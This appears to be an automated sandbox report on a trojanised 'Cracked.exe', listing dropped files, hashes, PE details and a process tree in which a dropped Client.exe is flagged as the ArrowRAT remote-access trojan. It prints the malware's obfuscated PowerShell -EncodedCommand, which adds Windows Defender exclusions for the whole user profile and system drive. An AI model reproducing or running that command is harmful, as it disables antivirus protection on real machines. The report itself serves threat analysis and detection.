SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_ocnzgxil.exs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_zxebuzlu.oij.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	unknown
Preview:	1

C:\Users\user\AppData\Local\Temp\nsc3273.tmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	data
Category:	dropped
Size (bytes):	7883532
Entropy (8bit):	6.744716068439642
Encrypted:	false
SSDEEP:
MD5:	6C8E54728B393EA8E3FBEEDCE1CA75B5
SHA1:	3583BB9FF266E5F0A42D20A9A34156B9B15EB166
SHA-256:	1C6CBC62A339A71E8486D8A14053EEF2B370B95C528AA0138A1C0180CA2248CC
SHA-512:	75873D993C38D2B089D38737040E33CB5C9FB8365FCA991D8D6B0A3C3A4AFE02EFAF471A11D4D77F6DDE312C65AB36F9E713C6654B1B730F430CBD4980AF25C5
Malicious:	false
Reputation:	unknown
Preview:	6.......,...................t...t.......R...................................=...........................B...................O...6...............................................................................................................................................................................................M.......................................................[.......................................................g.......N...Q...Y...............................................j.......[..._...e.......................................................................................................................t.......+...........................................................F...........................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\StdUtils.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	101376
Entropy (8bit):	6.5897573392020155
Encrypted:	false
SSDEEP:
MD5:	98A4EFBA4E4B566DC3D93D2D9BFCAB58
SHA1:	8C54AE9FCEC30B2BEEA8B6AF4EAD0A76D634A536
SHA-256:	E2AD7736209D62909A356248FCE8E554093339B18EF3E6A989A3C278F177AD48
SHA-512:	2DBC9A71E666EBF782607D3CA108FD47AA6BCE1D0AC2A19183CC5187DD342307B64CB88906369784518922A54AC20F408D5A58F77C0ED410E2CCF98E4E9E39A0
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.....................K................=.......[.....Ow.....OC.....OB.....OE....Rich...................PE..L..._4JV...........!.....2...X...............P............................................@.........................@...1.......................................t....................................................P...............................text..._0.......2.................. ..`.rdata..q;...P...<...6..............@..@.data................r..............@....rsrc................x..............@..@.reloc...............\|..............@..B........................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\System.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	11776
Entropy (8bit):	5.656126712214018
Encrypted:	false
SSDEEP:
MD5:	A4DD044BCD94E9B3370CCF095B31F896
SHA1:	17C78201323AB2095BC53184AA8267C9187D5173
SHA-256:	2E226715419A5882E2E14278940EE8EF0AA648A3EF7AF5B3DC252674111962BC
SHA-512:	87335A43B9CA13E1300C7C23E702E87C669E2BCF4F6065F0C684FC53165E9C1F091CC4D79A3ECA3910F0518D3B647120AC0BE1A68EAADE2E75EAA64ADFC92C5A
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1...u.u.u...s.u.a....r.!..q....t....t.Richu.........................PE..L...zc.W...........!..... ...........'.......0...............................`.......................................2.......0..P............................P.......................................................0..X............................text............ .................. ..`.rdata..S....0.......$..............@..@.data...x....@.......(..............@....reloc..b....P.......*..............@..B................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\modern-header.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PC bitmap, Windows 3.x format, 150 x 57 x 24, resolution 3843 x 3843 px/m, cbSize 25818, bits offset 54
Category:	dropped
Size (bytes):	25818
Entropy (8bit):	1.578181562510604
Encrypted:	false
SSDEEP:
MD5:	DA3486D12BB4C8AEC16BD9E0D363D23F
SHA1:	863244A4845C9D5DEA8DD36E1083F5639E1224E1
SHA-256:	D93B76D51BD2214FA6E999C1BF70B4AFF5165A6542F9B9B2A92B5672601F4624
SHA-512:	8E40ADB65A4AD46F3BC5920D7FD8294397268E754B1EB00D4F7B0883BE6468448033D9A46CF3A00FCCDDB4A7C81E7F984CF5A25731532C1AEFACE69573DFE59F
Malicious:	false
Reputation:	unknown
Preview:	BM.d......6...(.......9.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\modern-wizard.bmp

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PC bitmap, Windows 3.x format, 164 x 314 x 24, resolution 3843 x 3843 px/m, cbSize 154542, bits offset 54
Category:	dropped
Size (bytes):	154542
Entropy (8bit):	0.343701171549898
Encrypted:	false
SSDEEP:
MD5:	3614A4BE6B610F1DAF6C801574F161FE
SHA1:	6EDEE98C0084A94CAA1FE0124B4C19F42B4E7DE6
SHA-256:	16E0EDC9F47E6E95A9BCAD15ADBDC46BE774FBCD045DD526FC16FC38FDC8D49B
SHA-512:	06E0EFF28DFD9A428B31147B242F989CE3E92474A3F391BA62AC8D0D05F1A48F4CF82FD27171658ACBD667EAFFB94CB4E1BAF17040DC3B6E8B27F39B843CA281
Malicious:	false
Reputation:	unknown
Preview:	BM.[......6...(.......:.................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsDialogs.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	9728
Entropy (8bit):	5.09941749676329
Encrypted:	false
SSDEEP:
MD5:	0D45588070CF728359055F776AF16EC4
SHA1:	C4375CEB2883DEE74632E81ADDBFA4E8B0C6D84A
SHA-256:	067C77D51DF034B4A614F83803140FBF4CD2F8684B88EA8C8ACDF163EDAD085A
SHA-512:	751EBF4C43F100B41F799D0FBF8DB118EA8751DF029C1F4C4B0DAEB0FEF200DDF2E41C1C9C55C2DC94F2C841CF6ACB7DF355E98A2E5877A7797F0F1D41A7E415
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......\|..c8O`08O`08O`08Oa0.O`0.@=05O`0llP0=O`0.If09O`0.od09O`0Rich8O`0........PE..L...xc.W...........!.........0...............0.......................................................................6..k....0.......p...............................................................................0...............................text............................... ..`.rdata..{....0......................@..@.data...h!...@......................@....rsrc........p....... ..............@..@.reloc..v............"..............@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsExec.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	6656
Entropy (8bit):	5.139293651642153
Encrypted:	false
SSDEEP:
MD5:	C5B9FE538654A5A259CF64C2455C5426
SHA1:	DB45505FA041AF025DE53A0580758F3694B9444A
SHA-256:	7B51372117960E84D6F5EB3A26810CC044FF02283B3D656A0A456B0AB5CB8EA7
SHA-512:	F0F8A5570C01B16E54F47502E867FFBAF162B44A847C0FFC8062D20E9492114229DE5D9D2A836DA256FD3F9FB493536BDBF148D5308695B16C0E98D20D8926AA
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 3%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........................,..................Rich...........PE..L...xc.W...........!......................... ...............................P.......................................$..l.... ..P............................@....................................................... ...............................text............................... ..`.rdata..L.... ......................@..@.data........0......................@....reloc.......@......................@..B................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\nsc3274.tmp\nsProcess.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	4608
Entropy (8bit):	4.703695912299512
Encrypted:	false
SSDEEP:
MD5:	F0438A894F3A7E01A4AAE8D1B5DD0289
SHA1:	B058E3FCFB7B550041DA16BF10D8837024C38BF6
SHA-256:	30C6C3DD3CC7FCEA6E6081CE821ADC7B2888542DAE30BF00E881C0A105EB4D11
SHA-512:	F91FCEA19CBDDF8086AFFCB63FE599DC2B36351FC81AC144F58A80A524043DDEAA3943F36C86EBAE45DD82E8FAF622EA7B7C9B776E74C54B93DF2963CFE66CC7
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........s.I...I...I...n}f.L...I...P...@..K...@..H...@..H...RichI...........................PE..L...\..N...........!......................... ...............................`.......................................#....... ..<....@.......................P..\|.................................................... ..d............................text............................... ..`.rdata....... ......................@..@.data... ....0......................@....rsrc........@......................@..@.reloc.......P......................@..B................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms (copy)

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7588868539387876
Encrypted:	false
SSDEEP:
MD5:	2FECF869F6D74848296B264AAFA6A32C
SHA1:	770AACF7D91166C434BC4EB8718C5ABC98E9DA48
SHA-256:	1185F7F04DCFBB9C9022FA821246D1ABB6793179A6FB66A453A1B0F667153E29
SHA-512:	EE12BAC01B6C9FFB7793F5F5238875CAA895FEBCCD637E8440826CDCF2458EA910083CDE8B366C1998B62322BAC0866BEC2D001133EBFE7B44A9B85E738BE0BF
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ...N....-..;yz(.a..\.................................:..DG..Yr?.D..U..k0.&...&...........-...,z.....f.`m........t...CFSF..1......Nz...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......Ny..V.-.....Y....................f.(.A.p.p.D.a.t.a...B.V.1......Nz...Roaming.@.......Ny..V.-.....Y....................D1,.R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......Ny..V.-.....Y....................b5..M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......Ny..V.-.....Y........................W.i.n.d.o.w.s.......1......N{...STARTM~1..n.......Ny..V.-.....Y..............D.......0.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.q..Programs..j.......Ny..V.-.....Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......Ny..U.......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......Ny..P.......Y..........

C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\C76OJ4O7LL0F453OCD2H.temp

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	6205
Entropy (8bit):	3.7588868539387876
Encrypted:	false
SSDEEP:
MD5:	2FECF869F6D74848296B264AAFA6A32C
SHA1:	770AACF7D91166C434BC4EB8718C5ABC98E9DA48
SHA-256:	1185F7F04DCFBB9C9022FA821246D1ABB6793179A6FB66A453A1B0F667153E29
SHA-512:	EE12BAC01B6C9FFB7793F5F5238875CAA895FEBCCD637E8440826CDCF2458EA910083CDE8B366C1998B62322BAC0866BEC2D001133EBFE7B44A9B85E738BE0BF
Malicious:	false
Reputation:	unknown
Preview:	...................................FL..................F.".. ...N....-..;yz(.a..\.................................:..DG..Yr?.D..U..k0.&...&...........-...,z.....f.`m........t...CFSF..1......Nz...AppData...t.Y^...H.g.3..(.....gVA.G..k...@.......Ny..V.-.....Y....................f.(.A.p.p.D.a.t.a...B.V.1......Nz...Roaming.@.......Ny..V.-.....Y....................D1,.R.o.a.m.i.n.g.....\.1......U...MICROS~1..D.......Ny..V.-.....Y....................b5..M.i.c.r.o.s.o.f.t.....V.1......U....Windows.@.......Ny..V.-.....Y........................W.i.n.d.o.w.s.......1......N{...STARTM~1..n.......Ny..V.-.....Y..............D.......0.S.t.a.r.t. .M.e.n.u...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.6.......1......P.q..Programs..j.......Ny..V.-.....Y..............@........P.r.o.g.r.a.m.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.8.2.....n.1......L...WINDOW~1..V.......Ny..U.......Y....................T_..W.i.n.d.o.w.s. .P.o.w.e.r.S.h.e.l.l.....z.2......L.. .WINDOW~1.LNK..^.......Ny..P.......Y..........

C:\Users\user\AppData\Roaming\temp0923

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\cvtres.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.2464393446710154
Encrypted:	false
SSDEEP:
MD5:	C6D139A7A51E19A84C53985792B4F885
SHA1:	B0E6DD3C6BDCEE850B98D2CF1008AAC2E99C821A
SHA-256:	F93CFEF62058759F5B0AB10ABCAA292BF67E38BF5B246D709B5C089AB7905E97
SHA-512:	46EB3AA6EE7774E047642365DA48B22508058B220B7C3DB22E112C1C072042B9C449F8F8B9E112237C22376E16D90A94929362C558999F4E24DFF8D9BB0C01C0
Malicious:	false
Reputation:	unknown
Preview:	07/30/2023

C:\Users\user\AppData\Roaming\tempp4nd0r4

Download File

Process:	C:\Windows\Client.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	33
Entropy (8bit):	3.717896012970049
Encrypted:	false
SSDEEP:
MD5:	3DB7B7B90CEB10E4D8C9A2439E5ED239
SHA1:	8402BD28BFB6E9AB0DAFB053C0420FA60F0F4EAD
SHA-256:	576593CDDD4F5E9346D8E02234C383843F7DC48273EAEA6AB3FD38C11B2263B6
SHA-512:	90E39E30E0FD2AC99F32997852A951FC26E4EDA57DA11F9F7D59C608D1D349BB9B541E6FBE1C2CECF7309A0EB3F6BF1FDFA553F15A2D06DEBEAE4184AC979490
Malicious:	false
Reputation:	unknown
Preview:	....### explorer ###..[WIN][WIN]

C:\Users\user\AppData\Roaming\tempp4nd0r4on

Download File

Process:	C:\Windows\Client.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	10
Entropy (8bit):	2.321928094887362
Encrypted:	false
SSDEEP:
MD5:	81D712869559122FB0C4ED98933305F2
SHA1:	5E1BB9CFA366B6D75067FD875FFD4C753607D32E
SHA-256:	491B2080BEA2FDF042CD4699E54E915EF0A853F044A8FEB13E0E71E88D180944
SHA-512:	AC8A0D7A3341FAA00ED63377957B19D794D9AEA813B7B531F8D9795626ACC872CE83DA97ACCA165C64C79FFBA5D334929EC6B0A69F827E8EAC2579FD0A48C2AF
Malicious:	false
Reputation:	unknown
Preview:	[WIN][WIN]

C:\Windows\Client.exe

Download File

Process:	C:\Users\user\Desktop\Cracked.exe
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	162304
Entropy (8bit):	4.557716420482383
Encrypted:	false
SSDEEP:
MD5:	D7DEA9816B882CB53D615A3AFDF0C955
SHA1:	D3BFD91FF74C072028BD747D4F56F17CC55168A5
SHA-256:	96D3BA07A0486F3B25474AF2EA79D09ADA281DE55EBEDB75F32FFDD670C107C6
SHA-512:	B0881A34616FAA65C5F279F5DD1F9E51A951C982046A46AFDB109DB71DD34C5148DB017FAF1141AB5A713846D22DF463A576C4C274558F56BF624CC703EB0F35
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...UG&..........."...0.(b..........".... ........@.. ....................................`....................................J.................................................................................... ............... ..H............text...(b... ...d.................. ..`.rsrc................f..............@..@.reloc...............x..............@..@........................H........@..\|@......:... ...............................................6...._........(......3........b`.....b`.....b`.....(......3........b`.....b`.....b`.....(.......(......(.........(....(/...(...+..(.....(A...~)...oB...~(...oC...(>...(=...,....~)...oD...-.~)...oE...~)....oF...V(j...sk... ...ol....~2......2....~3......3....~4......4....~5......5.....(......(.....~6...-.r...p.....(....os...st....6...~6....~7......7......0..L...........-..+..`....

Static File Info

General

File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.999614362735427
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 49.83% Win32 Executable (generic) a (10002005/4) 49.78% Generic CIL Executable (.NET, Mono, etc.) (73296/58) 0.36% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01%
File name:	Cracked.exe
File size:	2'466'816 bytes
MD5:	6eb284564aa7bd24f4f6df02ef05d185
SHA1:	47f85ddc0b1a090d1852c37b2e2e1449e5b6db88
SHA256:	2be002d8f440059579b6eec67e37a1272081daad1dc8e3f3800adf94620c7beb
SHA512:	49e1a9584c74f32f9566d3c4ca31684c474ec260e50bd07b8d3c0a8ef3f3e70d10773952e5d219aa8c9076b86cddcefd242dfb91b507feeb06c5d69ba9e91179
SSDEEP:	49152:Wm7ZuvKRXc8DJ2c2Xp95LBO1PJNNNQzgj7k/8E54IlDXRRtdQNH:D77P2XPOxJ9FcEq4IZXRRC
TLSH:	9AB533ADB0FA509DC20D39BCA0B2A3E4A0139DC3276D36EED40A5711652DD7C275EE63
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L...Ux.d..................%.........n.%.. ....%...@.. ........................&...........@................................

File Icon


Icon Hash:	90cececece8e8eb0

Static PE Info

General

Entrypoint:	0x65b86e
Entrypoint Section:	.text
Digitally signed:	false
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, 32BIT_MACHINE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x64C57855 [Sat Jul 29 20:36:37 2023 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x25b814	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x25c000	0x588	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x25e000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x259874	0x259a00	unknown	unknown	unknown	unknown	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0x25c000	0x588	0x600	False	0.4055989583333333	data	4.2475560647058	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ
.reloc	0x25e000	0xc	0x200	False	0.044921875	data	0.10191042566270775	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0x25c0a0	0x244	data			0.46551724137931033
RT_MANIFEST	0x25c2e8	0x29a	XML 1.0 document, ASCII text			0.466966966966967

Imports

DLL	Import
mscoree.dll	_CorExeMain

Network Behavior

⊘Skipped network analysis since the amount of network traffic is too extensive. Please download the PCAP and check manually.

Statistics

CPU Usage

Click to jump to process

Memory Usage

Click to jump to process

High Level Behavior Distribution

Click to dive into process behavior distribution

Behavior

Click to jump to process

System Behavior

Analysis Process: Cracked.exePID: 3360, Parent PID: 3452

General

Target ID:	0
Start time:	22:40:57
Start date:	29/07/2023
Path:	C:\Users\user\Desktop\Cracked.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\Desktop\Cracked.exe
Imagebase:	0x20000
File size:	2'466'816 bytes
MD5 hash:	6EB284564AA7BD24F4F6DF02EF05D185
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: powershell.exePID: 1164, Parent PID: 3360

General

Target ID:	1
Start time:	22:40:58
Start date:	29/07/2023
Path:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "PAAjAGgAZABjACMAPgBBAGQAZAAtAE0AcABQAHIAZQBmAGUAcgBlAG4AYwBlACAAPAAjAG0AZQB4ACMAPgAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAkAGUAbgB2ADoAVQBzAGUAcgBQAHIAbwBmAGkAbABlACwAJABlAG4AdgA6AFMAeQBzAHQAZQBtAEQAcgBpAHYAZQApACAAPAAjAHMAbQBsACMAPgAgAC0ARgBvAHIAYwBlACAAPAAjAG0AYgBqACMAPgA=
Imagebase:	0x7ff7026c0000
File size:	447'488 bytes
MD5 hash:	95000560239032BC68B4C2FDFCDEF913
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: conhost.exePID: 1332, Parent PID: 1164

General

Target ID:	2
Start time:	22:40:59
Start date:	29/07/2023
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff745070000
File size:	625'664 bytes
MD5 hash:	EA777DEEA782E8B4D7C7C33BBF8A4496
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: Client.exePID: 5676, Parent PID: 3360

General

Target ID:	3
Start time:	22:40:59
Start date:	29/07/2023
Path:	C:\Windows\Client.exe
Wow64 process (32bit):	false
Commandline:	"C:\Windows\Client.exe"
Imagebase:	0x1b9babc0000
File size:	162'304 bytes
MD5 hash:	D7DEA9816B882CB53D615A3AFDF0C955
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_ArrowRAT, Description: Yara detected ArrowRAT, Source: 00000003.00000002.620873445.000001B9BC7F1000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 7252, Parent PID: 5676

General

Target ID:	4
Start time:	22:40:59
Start date:	29/07/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe
Imagebase:	0x7ff69fe90000
File size:	3'933'184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

Analysis Process: SteamSetup.exePID: 7264, Parent PID: 3360

General

Target ID:	5
Start time:	22:40:59
Start date:	29/07/2023
Path:	C:\Users\user\AppData\Local\Temp\SteamSetup.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\SteamSetup.exe"
Imagebase:	0x400000
File size:	2'296'488 bytes
MD5 hash:	70F3BC193DFA56B78F3E6E4F800F701F
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 0%, ReversingLabs
Reputation:	low

Show Windows behavior

Chronological Activities

Analysis Process: explorer.exePID: 7304, Parent PID: 1080

General

Target ID:	6
Start time:	22:41:00
Start date:	29/07/2023
Path:	C:\Windows\explorer.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\explorer.exe /NOUACCHECK
Imagebase:	0x7ff69fe90000
File size:	3'933'184 bytes
MD5 hash:	AD5296B280E8F522A8A897C96BAB0E1D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high

Show Windows behavior

Chronological Activities

